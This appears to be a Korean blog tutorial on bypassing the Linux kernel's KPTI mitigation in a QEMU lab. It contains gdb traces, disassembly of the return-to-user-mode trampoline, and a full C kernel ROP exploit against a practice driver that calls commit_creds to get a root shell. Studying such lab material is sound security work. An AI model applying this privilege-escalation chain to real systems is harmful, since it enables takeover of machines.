서론
KPTI는 유저 영역에서의 보호기법에는 없는 보호기법이다.
요약하자면, 커널 - 유저공간 간의 전환 시 최소한의 커널 주소만 포함하는 것이다.
이에 커널에서 유저공간으로 넘어갈때는 상관 없지만, 유저 공간에서 다시 커널 공간으로 넘어올 때 문제가 발생한다.
접근 가능한 주소의 범위는 cr3 레지스터를 사용하여 판별하게된다.
본론
KPTI 보호기법이 걸려 있으면 무슨 현상이 일어나는지 알아보고 익스플로잇까지 진행해보자.
1. 환경설정
전과 동일하며, qemu 실행 파일 상
append에서 nopti 삭제 및 cpu를 kvm64로 변경하였다.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nokaslr" \
-no-reboot \
-cpu kvm64,smap \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-s
만일 nopti를 삭제하였더라도 cpu가 qemu64라면 pti는 적용되지 않는다.
2. KPTI 테스트 및 디버깅
이전에 사용한 krop payload를 그대로하여
2023.09.07 - [Kernel Exploit] - Kernel - SMEP 우회, krop
위의 설정이된 qemu에서 실행해보면 seg. fault가 발생함을 볼 수 있으며,
/ # ./payload
Segmentation fault
커널 로그를 보면 아래와 같은 위치에서 오류가 발생함을 볼 수 있다.
/ # dmesg | tail
...
module_write called
payload[171]: segfault at 4017d5 ip 00000000004017d5 sp 00007ffc420dd510 error 15 in payload[401000+98000]
Code: c0 74 22 55 be c0 82 4c 00 bf 60 5b 4b 00 48 89 e5 e8 ff 48 09 00 5d e9 59 ff ff ff 66 0f 1f 84 00 00 00 00 0
module_close called
gdb를 attach하여 조금 더 자세히 보면
win 함수까지는 정상적으로 진입한다.
0x00000000004017d5 in ?? ()
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax : 0x0000000000000000
$rbx : 0xffff88800313be00 -> 0x0000000000000000
$rcx : 0x0000000000000000
$rdx : 0x0000000000000000
$rsp : 0x00007ffd8794c120 -> 0x0000000000000001
$rbp : 0x4141414141414141 ('AAAAAAAA'?)
$rsi : 0xffffffff81e32b80 -> 0x0000000000000001
$rdi : 0xffff8880032d0b00 -> 0x0000000000000002
$rip : 0x00000000004017d5 -> 0xe5894855fa1e0ff3
$r8 : 0xffff8880032d0b00 -> 0x0000000000000002
$r9 : 0x0000000000000000
$r10 : 0x00007ffd8794c658 -> 0x0000000000401eda -> 0xe800008ebfe8c789
$r11 : 0x000000000044d418 -> 0x000007a2983d8348
$r12 : 0x0000000000000500
$r13 : 0x0000000000000000
$r14 : 0x00007ffd8794c140 -> 0x4141414141414141
$r15 : 0xffffc90000433ef8 -> 0x00000000004017d5 -> 0xe5894855fa1e0ff3
$eflags: 0x246 [ident align vx86 resume nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0x7ffd8794c120|+0x0000|+000: 0x0000000000000001 <- retaddr[1], $rsp
0x7ffd8794c128|+0x0008|+001: 0x0000000000401a7f -> 0xc789fffffae4858b <- retaddr[2]
0x7ffd8794c130|+0x0010|+002: 0x0000000300000000 <- retaddr[3]
0x7ffd8794c138|+0x0018|+003: 0x00007ffd8794c5b8 -> 0x0000000000000000 <- retaddr[4]
0x7ffd8794c140|+0x0020|+004: 0x4141414141414141 <- retaddr[5], $r14
0x7ffd8794c148|+0x0028|+005: 0x4141414141414141 <- retaddr[5]
0x7ffd8794c150|+0x0030|+006: 0x4141414141414141 <- retaddr[5]
0x7ffd8794c158|+0x0038|+007: 0x4141414141414141 <- retaddr[5]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0x4017cc 0000 <NO_SYMBOL> add %al, (%rax)
0x4017ce 0000 <NO_SYMBOL> add %al, (%rax)
0x4017d0 e94bffffff <NO_SYMBOL> jmp 0x401720
-> 0x4017d5 f30f1efa <NO_SYMBOL> endbr64
0x4017d9 55 <NO_SYMBOL> push %rbp
0x4017da 4889e5 <NO_SYMBOL> mov %rsp, %rbp
0x4017dd 488d0520780900 <NO_SYMBOL> lea 0x97820 (%rip), %rax # 0x499004
0x4017e4 4889c7 <NO_SYMBOL> mov %rax, %rdi
0x4017e7 e8b4b00000 <NO_SYMBOL> call 0x40c8a0
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ threads ----
[Thread Id:1] stopped at 0x0000004017d5 <NO_SYMBOL>, reason: SINGLE STEP
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- trace ----
[#0] 0x0000004017d5 <NO_SYMBOL>
[#1] 0x000000000001 <NO_SYMBOL>
[#2] 0x000000401a7f <NO_SYMBOL>
[#3] 0x000300000000 <NO_SYMBOL>
[#4] 0x7ffd8794c5b8 <NO_SYMBOL>
[#5] 0x4141414141414141 <NO_SYMBOL>
[#6] 0x4141414141414141 <NO_SYMBOL>
[#7] 0x4141414141414141 <NO_SYMBOL>
[#8] 0x4141414141414141 <NO_SYMBOL>
[#9] 0x4141414141414141 <NO_SYMBOL>
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
gef>
하지만 유저 영역의 해당 명령을 실행하는 순간
0xffffffff81800ab0 in ?? ()
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax : 0x0000000000000000
$rbx : 0xffff8880032d1400 -> 0x0000000000000000
$rcx : 0x0000000000000000
$rdx : 0x0000000000000000
$rsp : 0xfffffe0000002fd0 -> 0x0000000000000015
$rbp : 0x4141414141414141 ('AAAAAAAA'?)
$rsi : 0xffffffff81e32b80 -> 0x0000000000000001
$rdi : 0xffff888003131900 -> 0x0000000000000002
$rip : 0xffffffff81800ab0 -> 0x00000608e8001f0f
$r8 : 0xffff888003131900 -> 0x0000000000000002
$r9 : 0x0000000000000000
$r10 : 0x00007ffcbf8c4248 -> 0x0000000000401eda -> 0xe800008ebfe8c789
$r11 : 0x000000000044d418 -> 0x000007a2983d8348
$r12 : 0x0000000000000500
$r13 : 0x0000000000000000
$r14 : 0x00007ffcbf8c3d30 -> 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'[...]
$r15 : 0xffffc90000463ef8 -> 0x00000000004017d5 -> 0xe5894855fa1e0ff3
$eflags: 0x46 [ident align vx86 resume nested overflow direction interrupt trap sign ZERO adjust PARITY carry] [Ring=0]
$cs: 0x10 $ss: 0x00 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0xfffffe0000002fd0|+0x0000|+000: 0x0000000000000015 <- retaddr[1], $rsp
0xfffffe0000002fd8|+0x0008|+001: 0x00000000004017d5 -> 0xe5894855fa1e0ff3 <- retaddr[2]
0xfffffe0000002fe0|+0x0010|+002: 0x0000000000000033 ('3'?) <- retaddr[3]
0xfffffe0000002fe8|+0x0018|+003: 0x0000000000000246 <- retaddr[4]
0xfffffe0000002ff0|+0x0020|+004: 0x00007ffcbf8c3d10 -> 0x0000000000000001 <- retaddr[5]
0xfffffe0000002ff8|+0x0028|+005: 0x000000000000002b ('+'?) <- retaddr[6]
0xfffffe0000003000|+0x0030|+006: 0x0000300000000000 <- retaddr[7]
0xfffffe0000003008|+0x0038|+007: 0x00464000fffffe00 <- retaddr[8]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0xffffffff81800a9c e8afbde0ff <NO_SYMBOL> call 0xffffffff8160c850
0xffffffff81800aa1 e90a070000 <NO_SYMBOL> jmp 0xffffffff818011b0
0xffffffff81800aa6 662e0f1f840000.. <NO_SYMBOL> cs nopw 0x0 (%rax, %rax, 1)
-> 0xffffffff81800ab0 0f1f00 <NO_SYMBOL> nopl (%rax)
0xffffffff81800ab3 e808060000 <NO_SYMBOL> call 0xffffffff818010c0
0xffffffff81800ab8 4889e7 <NO_SYMBOL> mov %rsp, %rdi
0xffffffff81800abb 488b742478 <NO_SYMBOL> mov 0x78 (%rsp), %rsi
0xffffffff81800ac0 48c7442478ffff.. <NO_SYMBOL> movq $0xffffffffffffffff, 0x78 (%rsp)
0xffffffff81800ac9 e872e2e0ff <NO_SYMBOL> call 0xffffffff8160ed40
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ threads ----
[Thread Id:1] stopped at 0xffffffff81800ab0 <NO_SYMBOL>, reason: SINGLE STEP
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- trace ----
[#0] 0xffffffff81800ab0 <NO_SYMBOL>
[#1] 0x0000000000000015 <NO_SYMBOL>
[#2] 0x00000000004017d5 <NO_SYMBOL>
[#3] 0x0000000000000033 <NO_SYMBOL>
[#4] 0x0000000000000246 <NO_SYMBOL>
[#5] 0x00007ffcbf8c3d10 <NO_SYMBOL>
[#6] 0x000000000000002b <NO_SYMBOL>
[#7] 0x0000300000000000 <NO_SYMBOL>
[#8] 0x00464000fffffe00 <NO_SYMBOL>
[#9] 0xbf8c3d18ffffc900 <NO_SYMBOL>
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
gef>
위와 같이 알 수 없는 주소로 jmp되는 것을 볼 수 있다.
여기서 일련의 과정을 거치는데, 이 내부에서 터짐을 확인할 수 있다.
내부 과정을 대략적으로 요약하자면,
cr3 레지스터를 사용해서 페이지 디렉토리를 변경한 뒤 사용해야하나 이런 과정 없이 유저 영역의 코드를 실행함으로써
유저 영역은 참조할 수 없는 주소가 되기 때문에 오류가 발생하는 것이다.
3. 그래서 우회는? - swapgs_restore_regs_and_return_to_usermode
가장 간단한 방법은 swapgs_restore_regs_and_return_to_usermode() 함수를 이용하는 것이다.
/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
해당 함수는 커널 영역에서 유저 영역으로 그리고 그 반대로 작동이 이루어져야할 때 사용되는 함수로
필연적으로 존재할 수 밖에 없다.
해당 함수를 전체로 보면 꽤나 길다.
ffffffff81800e10: 41 5f pop %r15
ffffffff81800e12: 41 5e pop %r14
ffffffff81800e14: 41 5d pop %r13
ffffffff81800e16: 41 5c pop %r12
ffffffff81800e18: 5d pop %rbp
ffffffff81800e19: 5b pop %rbx
ffffffff81800e1a: 41 5b pop %r11
ffffffff81800e1c: 41 5a pop %r10
ffffffff81800e1e: 41 59 pop %r9
ffffffff81800e20: 41 58 pop %r8
ffffffff81800e22: 58 pop %rax
ffffffff81800e23: 59 pop %rcx
ffffffff81800e24: 5a pop %rdx
ffffffff81800e25: 5e pop %rsi
ffffffff81800e26: 48 89 e7 mov %rsp,%rdi
ffffffff81800e29: 65 48 8b 24 25 04 60 mov %gs:0x6004,%rsp
ffffffff81800e30: 00 00
ffffffff81800e32: ff 77 30 push 0x30(%rdi)
ffffffff81800e35: ff 77 28 push 0x28(%rdi)
ffffffff81800e38: ff 77 20 push 0x20(%rdi)
ffffffff81800e3b: ff 77 18 push 0x18(%rdi)
ffffffff81800e3e: ff 77 10 push 0x10(%rdi)
ffffffff81800e41: ff 37 push (%rdi)
#아래 두 라인은 실제로 디버깅해보면 아래와 같이 작동하지만,
0xffffffff81800e43 50 <NO_SYMBOL> push %rax
0xffffffff81800e44 6690 <NO_SYMBOL> xchg %ax, %ax
#kallsyms에서 보면 위 두 줄은 어셈 코드 병합으로 jmp문으로 보이니 유의해야한다.
#(ffffffff81800e44: eb 43 jmp 0xffffffff81800e89)
ffffffff81800e46: 0f 20 df mov %cr3,%rdi
ffffffff81800e49: eb 34 jmp 0xffffffff81800e7f
ffffffff81800e4b: 48 89 f8 mov %rdi,%rax
ffffffff81800e4e: 48 81 e7 ff 07 00 00 and $0x7ff,%rdi
ffffffff81800e55: 65 48 0f a3 3c 25 16 bt %rdi,%gs:0x1f316
ffffffff81800e5c: f3 01 00
ffffffff81800e5f: 73 0f jae 0xffffffff81800e70
ffffffff81800e61: 65 48 0f b3 3c 25 16 btr %rdi,%gs:0x1f316
ffffffff81800e68: f3 01 00
ffffffff81800e6b: 48 89 c7 mov %rax,%rdi
ffffffff81800e6e: eb 08 jmp 0xffffffff81800e78
ffffffff81800e70: 48 89 c7 mov %rax,%rdi
ffffffff81800e73: 48 0f ba ef 3f bts $0x3f,%rdi
ffffffff81800e78: 48 81 cf 00 08 00 00 or $0x800,%rdi
ffffffff81800e7f: 48 81 cf 00 10 00 00 or $0x1000,%rdi
ffffffff81800e86: 0f 22 df mov %rdi,%cr3
ffffffff81800e89: 58 pop %rax
ffffffff81800e8a: 5f pop %rdi
ffffffff81800e8b: 0f 01 f8 swapgs
ffffffff81800e8e: eb 20 jmp 0xffffffff81800eb0
ffffffff81800e90: 41 5f pop %r15
ffffffff81800e92: 41 5e pop %r14
ffffffff81800e94: 41 5d pop %r13
ffffffff81800e96: 41 5c pop %r12
ffffffff81800e98: 5d pop %rbp
ffffffff81800e99: 5b pop %rbx
ffffffff81800e9a: 41 5b pop %r11
ffffffff81800e9c: 41 5a pop %r10
ffffffff81800e9e: 41 59 pop %r9
ffffffff81800ea0: 41 58 pop %r8
ffffffff81800ea2: 58 pop %rax
ffffffff81800ea3: 59 pop %rcx
ffffffff81800ea4: 5a pop %rdx
ffffffff81800ea5: 5e pop %rsi
ffffffff81800ea6: 5f pop %rdi
ffffffff81800ea7: 48 83 c4 08 add $0x8,%rsp
ffffffff81800eab: eb 03 jmp 0xffffffff81800eb0
ffffffff81800ead: 0f 1f 00 nopl (%rax)
ffffffff81800eb0: f6 44 24 20 04 testb $0x4,0x20(%rsp)
ffffffff81800eb5: 75 02 jne 0xffffffff81800eb9
ffffffff81800eb7: 48 cf iretq
...
중간에 jmp가 있기에 이를 줄여서 보면 아래와 같아진다.
ffffffff81800e10: 41 5f pop %r15
ffffffff81800e12: 41 5e pop %r14
ffffffff81800e14: 41 5d pop %r13
ffffffff81800e16: 41 5c pop %r12
ffffffff81800e18: 5d pop %rbp
ffffffff81800e19: 5b pop %rbx
ffffffff81800e1a: 41 5b pop %r11
ffffffff81800e1c: 41 5a pop %r10
ffffffff81800e1e: 41 59 pop %r9
ffffffff81800e20: 41 58 pop %r8
ffffffff81800e22: 58 pop %rax
ffffffff81800e23: 59 pop %rcx
ffffffff81800e24: 5a pop %rdx
ffffffff81800e25: 5e pop %rsi
ffffffff81800e26: 48 89 e7 mov %rsp,%rdi
ffffffff81800e29: 65 48 8b 24 25 04 60 mov %gs:0x6004,%rsp
ffffffff81800e30: 00 00
ffffffff81800e32: ff 77 30 push 0x30(%rdi)
ffffffff81800e35: ff 77 28 push 0x28(%rdi)
ffffffff81800e38: ff 77 20 push 0x20(%rdi)
ffffffff81800e3b: ff 77 18 push 0x18(%rdi)
ffffffff81800e3e: ff 77 10 push 0x10(%rdi)
ffffffff81800e41: ff 37 push (%rdi)
0xffffffff81800e43 50 <NO_SYMBOL> push %rax
0xffffffff81800e44 6690 <NO_SYMBOL> xchg %ax, %ax
...
ffffffff81800e46: 0f 20 df mov %cr3,%rdi
ffffffff81800e49: eb 34 jmp 0xffffffff81800e7f
...
ffffffff81800e7f: 48 81 cf 00 10 00 00 or $0x1000,%rdi
ffffffff81800e86: 0f 22 df mov %rdi,%cr3
ffffffff81800e89: 58 pop %rax
ffffffff81800e8a: 5f pop %rdi
ffffffff81800e8b: 0f 01 f8 swapgs
ffffffff81800e8e: eb 20 jmp 0xffffffff81800eb0
...
ffffffff81800eb0: f6 44 24 20 04 testb $0x4,0x20(%rsp)
ffffffff81800eb5: 75 02 jne 0xffffffff81800eb9
ffffffff81800eb7: 48 cf iretq
...
여기서 우리가 정말 필요한 부분은 cr3 부분과 swapgs와 iretq 이므로 이 부분만 다시 한번 보면
ffffffff81800e26: 48 89 e7 mov %rsp,%rdi
ffffffff81800e29: 65 48 8b 24 25 04 60 mov %gs:0x6004,%rsp
ffffffff81800e30: 00 00
ffffffff81800e32: ff 77 30 push 0x30(%rdi)
ffffffff81800e35: ff 77 28 push 0x28(%rdi)
ffffffff81800e38: ff 77 20 push 0x20(%rdi)
ffffffff81800e3b: ff 77 18 push 0x18(%rdi)
ffffffff81800e3e: ff 77 10 push 0x10(%rdi)
ffffffff81800e41: ff 37 push (%rdi)
0xffffffff81800e43 50 <NO_SYMBOL> push %rax
0xffffffff81800e44 6690 <NO_SYMBOL> xchg %ax, %ax
...
ffffffff81800e46: 0f 20 df mov %cr3,%rdi
ffffffff81800e49: eb 34 jmp 0xffffffff81800e7f
...
ffffffff81800e7f: 48 81 cf 00 10 00 00 or $0x1000,%rdi
ffffffff81800e86: 0f 22 df mov %rdi,%cr3
ffffffff81800e89: 58 pop %rax
ffffffff81800e8a: 5f pop %rdi
ffffffff81800e8b: 0f 01 f8 swapgs
ffffffff81800e8e: eb 20 jmp 0xffffffff81800eb0
...
ffffffff81800eb0: f6 44 24 20 04 testb $0x4,0x20(%rsp)
ffffffff81800eb5: 75 02 jne 0xffffffff81800eb9
ffffffff81800eb7: 48 cf iretq
...
와 같아진다.
뭔가 많이 본 것 같은 구조이지 않은가?
4. payload 작성 및 디버깅
이를 토대로 아래와 같이 페이로드를 작성해보았다.
//gcc -static -o exp exp.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240;
#define commit_creds 0xffffffff8106e390;
#define rdi 0xffffffff8127bbdc; //pop rdi ; ret
#define mov_rdi_rax 0xffffffff8160c96b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e; //swapgs ; ret
#define iretq 0xffffffff810202af;
#define rcx 0xffffffff8132cdd3; // pop rcx ; ret
#define tramp 0xffffffff81800e26;
static void win() {
puts("[+] win!");
execl("/bin/sh", "sh", NULL);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}
/*
static void restore_state() {
asm("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win));
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}
*/
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
save_state();
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");
char buf[0x500];
memset(buf, 'A', 0x408);
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rdi;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
*chain++ = rcx;
*chain++ = 0;
*chain++ = mov_rdi_rax;
*chain++ = commit_creds;
*chain++ = tramp;
*chain++ = 0;
*chain++ = 0;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, 0x500);
close(fd);
return 0;
}
commit_creds 함수 실행 이후에 tramp 의 위치로 return 하였으며,
해당 위치에서는 위에서 본 것과 같은 작동을 한다.
그럼 진입 직후의 값을 보면 아래와 같다.
0xffffffff81800e26 in ?? ()
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----$rax : 0x0000000000000000
$rbx : 0xffff8880032bde00 -> 0x0000000000000000
$rcx : 0x0000000000000000
$rdx : 0x0000000000000000
$rsp : 0xffffc90000463ef0 -> 0x0000000000000000
$rbp : 0x4141414141414141 ('AAAAAAAA'?)
$rsi : 0xffffffff81e32b80 -> 0x0000000000000001
$rdi : 0xffff88800327c980 -> 0x0000000000000002
$rip : 0xffffffff81800e26 -> 0x25248b4865e78948
$r8 : 0xffff88800327c980 -> 0x0000000000000002
$r9 : 0x0000000000000000
$r10 : 0x00007ffe89d14868 -> 0x0000000000401eea -> 0xe800008ebfe8c789
$r11 : 0x000000000044d418 -> 0x000007a2983d8348
$r12 : 0x0000000000000500
$r13 : 0x0000000000000000
$r14 : 0x00007ffe89d14350 -> 0x4141414141414141
$r15 : 0xffffc90000463ef8 -> 0x0000000000000000
$eflags: 0x246 [ident align vx86 resume nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=0]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0xffffc90000463ef0|+0x0000|+000: 0x0000000000000000 <- $rsp
0xffffc90000463ef8|+0x0008|+001: 0x0000000000000000 <- $r15
0xffffc90000463f00|+0x0010|+002: 0x00000000004017d5 -> 0xe5894855fa1e0ff3
0xffffc90000463f08|+0x0018|+003: 0x0000000000000033 ('3'?)
0xffffc90000463f10|+0x0020|+004: 0x0000000000000246
0xffffc90000463f18|+0x0028|+005: 0x00007ffe89d14330 -> 0x0000000000000001
0xffffc90000463f20|+0x0030|+006: 0x000000000000002b ('+'?)
0xffffc90000463f28|+0x0038|+007: 0x00000000004c67e0 -> 0x0000000000000000
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0xffffffff81800e23 59 <NO_SYMBOL> pop %rcx
0xffffffff81800e24 5a <NO_SYMBOL> pop %rdx
0xffffffff81800e25 5e <NO_SYMBOL> pop %rsi
-> 0xffffffff81800e26 4889e7 <NO_SYMBOL> mov %rsp, %rdi
0xffffffff81800e29 65488b24250460.. <NO_SYMBOL> mov %gs:0x6004, %rsp
0xffffffff81800e32 ff7730 <NO_SYMBOL> push 0x30 (%rdi)
0xffffffff81800e35 ff7728 <NO_SYMBOL> push 0x28 (%rdi)
0xffffffff81800e38 ff7720 <NO_SYMBOL> push 0x20 (%rdi)
0xffffffff81800e3b ff7718 <NO_SYMBOL> push 0x18 (%rdi)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ threads ----
[Thread Id:1] stopped at 0xffffffff81800e26 <NO_SYMBOL>, reason: SINGLE STEP
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- trace ----
[#0] 0xffffffff81800e26 <NO_SYMBOL>
[#1] 0x0000000000000000 <NO_SYMBOL>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------gef> gef>
이후 mov rsp, rdi를 통해 rdi에 값을 넣으며,
...
$rsp : 0xffffc90000463ef0 -> 0x0000000000000000
$rbp : 0x4141414141414141 ('AAAAAAAA'?)
$rsi : 0xffffffff81e32b80 -> 0x0000000000000001
$rdi : 0xffffc90000463ef0 -> 0x0000000000000000
$rip : 0xffffffff81800e29 -> 0x00600425248b4865
$r8 : 0xffff88800327c980 -> 0x0000000000000002
$r9 : 0x0000000000000000
$r10 : 0x00007ffe89d14868 -> 0x0000000000401eea -> 0xe800008ebfe8c789
$r11 : 0x000000000044d418 -> 0x000007a2983d8348
$r12 : 0x0000000000000500
$r13 : 0x0000000000000000
$r14 : 0x00007ffe89d14350 -> 0x4141414141414141
$r15 : 0xffffc90000463ef8 -> 0x0000000000000000
$eflags: 0x246 [ident align vx86 resume nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=0]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0xffffc90000463ef0|+0x0000|+000: 0x0000000000000000 <- $rsp, $rdi
0xffffc90000463ef8|+0x0008|+001: 0x0000000000000000 <- $r15
0xffffc90000463f00|+0x0010|+002: 0x00000000004017d5 -> 0xe5894855fa1e0ff3
0xffffc90000463f08|+0x0018|+003: 0x0000000000000033 ('3'?)
0xffffc90000463f10|+0x0020|+004: 0x0000000000000246
0xffffc90000463f18|+0x0028|+005: 0x00007ffe89d14330 -> 0x0000000000000001
0xffffc90000463f20|+0x0030|+006: 0x000000000000002b ('+'?)
0xffffc90000463f28|+0x0038|+007: 0x00000000004c67e0 -> 0x0000000000000000
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0xffffffff81800e24 5a <NO_SYMBOL> pop %rdx
0xffffffff81800e25 5e <NO_SYMBOL> pop %rsi
0xffffffff81800e26 4889e7 <NO_SYMBOL> mov %rsp, %rdi
-> 0xffffffff81800e29 65488b24250460.. <NO_SYMBOL> mov %gs:0x6004, %rsp
...
mov %gs:0x6004, %rsp로 인해 스택의 위치가 변경되고
...
$rsp : 0xfffffe0000003000 -> 0x0000300000000000
$rbp : 0x4141414141414141 ('AAAAAAAA'?)
$rsi : 0xffffffff81e32b80 -> 0x0000000000000001
$rdi : 0xffffc90000463ef0 -> 0x0000000000000000
$rip : 0xffffffff81800e32 -> 0x77ff2877ff3077ff
$r8 : 0xffff88800327c980 -> 0x0000000000000002
$r9 : 0x0000000000000000
$r10 : 0x00007ffe89d14868 -> 0x0000000000401eea -> 0xe800008ebfe8c789
$r11 : 0x000000000044d418 -> 0x000007a2983d8348
$r12 : 0x0000000000000500
$r13 : 0x0000000000000000
$r14 : 0x00007ffe89d14350 -> 0x4141414141414141
$r15 : 0xffffc90000463ef8 -> 0x0000000000000000
$eflags: 0x246 [ident align vx86 resume nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=0]
$cs: 0x10 $ss: 0x18 $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0xfffffe0000003000|+0x0000|+000: 0x0000300000000000 <- retaddr[1], $rsp
0xfffffe0000003008|+0x0008|+001: 0x00464000fffffe00 <- retaddr[2]
0xfffffe0000003010|+0x0010|+002: 0xce8acbc0ffffc900 <- retaddr[3]
0xfffffe0000003018|+0x0018|+003: 0x0000000000007ffe <- retaddr[4]
0xfffffe0000003020|+0x0020|+004: 0x0000a00000000000 <- retaddr[5]
0xfffffe0000003028|+0x0028|+005: 0x0000c000fffffe00 <- retaddr[6]
0xfffffe0000003030|+0x0030|+006: 0x0000e000fffffe00 <- retaddr[7]
0xfffffe0000003038|+0x0038|+007: 0x00010000fffffe00 <- retaddr[8]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0xffffffff81800e25 5e <NO_SYMBOL> pop %rsi
0xffffffff81800e26 4889e7 <NO_SYMBOL> mov %rsp, %rdi
0xffffffff81800e29 65488b24250460.. <NO_SYMBOL> mov %gs:0x6004, %rsp
-> 0xffffffff81800e32 ff7730 <NO_SYMBOL> push 0x30 (%rdi)
...
그 아래에서 push 0x?? (%rdi) 를 통해 이전 스택의 값들을 다시 변경된 스택에 집어넣는다.
...
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0xfffffe0000002fd8|+0x0000|+000: 0x00000000004017d5 -> 0xe5894855fa1e0ff3 <- retaddr[1], $rsp
0xfffffe0000002fe0|+0x0008|+001: 0x0000000000000033 ('3'?) <- retaddr[2]
0xfffffe0000002fe8|+0x0010|+002: 0x0000000000000246 <- retaddr[3]
0xfffffe0000002ff0|+0x0018|+003: 0x00007ffdc8190110 -> 0x0000000000000001 <- retaddr[4]
0xfffffe0000002ff8|+0x0020|+004: 0x000000000000002b ('+'?) <- retaddr[5]
0xfffffe0000003000|+0x0028|+005: 0x0000300000000000 <- retaddr[6]
0xfffffe0000003008|+0x0030|+006: 0x0041c000fffffe00 <- retaddr[7]
0xfffffe0000003010|+0x0038|+007: 0xc8190118ffffc900 <- retaddr[8]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0xffffffff81800e38 ff7720 <NO_SYMBOL> push 0x20 (%rdi)
0xffffffff81800e3b ff7718 <NO_SYMBOL> push 0x18 (%rdi)
0xffffffff81800e3e ff7710 <NO_SYMBOL> push 0x10 (%rdi)
-> 0xffffffff81800e41 ff37 <NO_SYMBOL> push (%rdi)
...
어디선가 많이 본 구조같지 않은가?
즉, 스택에 들어간 값들은 페이로드의 후반부에 해당하는 값들이다.
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
이후 두개의 값을 더 push 하는데,
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0xfffffe0000002fc8|+0x0000|+000: 0x0000000000000000 <- $rsp
0xfffffe0000002fd0|+0x0008|+001: 0x0000000000000000
0xfffffe0000002fd8|+0x0010|+002: 0x00000000004017d5 -> 0xe5894855fa1e0ff3
0xfffffe0000002fe0|+0x0018|+003: 0x0000000000000033 ('3'?)
0xfffffe0000002fe8|+0x0020|+004: 0x0000000000000246
0xfffffe0000002ff0|+0x0028|+005: 0x00007ffd5f648c80 -> 0x0000000000000001
0xfffffe0000002ff8|+0x0030|+006: 0x000000000000002b ('+'?)
0xfffffe0000003000|+0x0038|+007: 0x0000300000000000
